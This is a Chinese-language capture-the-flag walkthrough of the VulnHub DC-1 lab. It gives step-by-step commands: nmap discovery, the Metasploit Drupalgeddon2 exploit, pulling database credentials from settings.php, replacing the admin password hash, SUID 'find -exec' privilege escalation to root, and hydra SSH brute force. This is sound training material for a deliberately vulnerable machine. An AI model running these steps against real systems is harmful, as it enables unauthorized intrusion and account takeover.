zl程序教程

您现在的位置是:首页 >  Javascript

当前栏目

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)

2023-04-18 14:21:16 时间

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、环境搭建:

1、靶机描述

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

根据描述信息我们可以知道本靶场环境总共有5个flag。

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-1,292/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。
在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

在这里插入图片描述

二、渗透靶场

本环境重在在于如下两个知识点
Drupal 7 漏洞利用
find 提权

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

nmap -sP 192.168.233.0/24

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.177

3、信息收集:探端口及服务

nmap -A -p- -v 192.168.233.177

在这里插入图片描述

在这里插入图片描述

发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务

4、访问web站点

http://192.168.233.177/

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

在这里插入图片描述

5、利用MSF渗透

典型的drupal,由于我们这里是老外搭建的靶机,所以就纯kali渗透即可,启动Metersploit
MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍

msfconsole		进入MSF控制台
search 			搜索相应模块
use           	对应模块
show options  	查看信息
set RHOST  		远程主机ip
run           	攻击

2.搜索Drupal 7的漏洞

搜索Drupal 7的漏洞发现可利用的漏洞很多

searchsploit Drupa 7

在这里插入图片描述

3.进入MSF控制台搜索drupal模块

进入MSF控制台

msfconsole

在这里插入图片描述

搜索drupal模块

search drupal

在这里插入图片描述

4.选择模块进行测试

用2018的测试

use exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

5.设置靶机IP运行msf

set rhosts 192.168.233.177

在这里插入图片描述

运行msf

run 

在这里插入图片描述

6.进入shell

shell

在这里插入图片描述

7.执行whoami

whoami

发现是www-data权限

在这里插入图片描述

8.发现flag4.txt文件

进入home目录,发现flag4.txt文件,提示需要提升权限

在这里插入图片描述

9.使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

10.发现flag1文件

查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

ls
cat flag1.txt
Every good CMS needs a config file - and so do you

在这里插入图片描述

11.发现flag2

Drupal的默认配置文件为

/var/www/sites/default/settings.php

在这里插入图片描述

查看文件内容

cat /var/www/sites/default/settings.php

发现了flag2和数据库的账号密码

'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

flag2提示,提升权限为root来查看敏感文件,或者直接爆破

在这里插入图片描述

我们先进入数据库查看

mysql -u dbuser -p

在这里插入图片描述

查看数据库,切换到drupaldb数据库

databases;
use drupaldb;

在这里插入图片描述

查看查找默认的Drupal user 表

select * from users;

发现admin信息

在这里插入图片描述
在这里插入图片描述

置换drupal密码

http://drupalchina.cn/node/2128

进入www目录

quit;

在这里插入图片描述

站点路径下执行

php scripts/password-hash.sh 新密码

在这里插入图片描述

然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库

mysql -u dbuser -p
R0ck3t
use drupaldb

在这里插入图片描述

将pass字段进行替换

update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";

在这里插入图片描述

12.登录站点

访问站点

http://192.168.233.177/

在这里插入图片描述

进行登录,密码是之前我们自己替换的,账号是admin

admin
111111

成功登录

在这里插入图片描述

13.发现flag3

登陆战点之后,随便翻一番,发现flag3,

http://192.168.233.177/node#overlay=admin/content

在这里插入图片描述

点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令

在这里插入图片描述

使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

在这里插入图片描述

使用命令测试,发现为root权限

touch 666
ls
find / -name 666 -exec "whoami" ;

在这里插入图片描述

14.发现最后的flag文件

我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find / -name 666 -exec "/bin/sh" ;   
whoami
ls
cd /root
ls

在这里插入图片描述

查看cat thefinalflag.txt文件

cat thefinalflag.txt

文件内容如下

Well done!!!
干得好!
Hopefully you've enjoyed this and learned some new skills.
希望你已经享受了这一点,并学到了一些新的技能。
You can Let me know what you thought of this little journey
你可以告诉我你对这段小旅程的看法
by_ contacting me via Twitter
通过twitter联系我
QDCAU7
QDCAU7

大致就是说你已经通过了本关卡。

在这里插入图片描述

15.发现flag4

此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

cat /etc/passwd

在这里插入图片描述

hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.233.177

解释一下:

-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址

在这里插入图片描述

SSH连接登录,拿到flag4权限

ssh flag4@192.168.233.177

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、[ MSF使用实例 ] 利用永恒之黑采用正向连接 shell 获得主机权限(CVE-2020-0796)(SMBGhost)
3、简谈SUID提权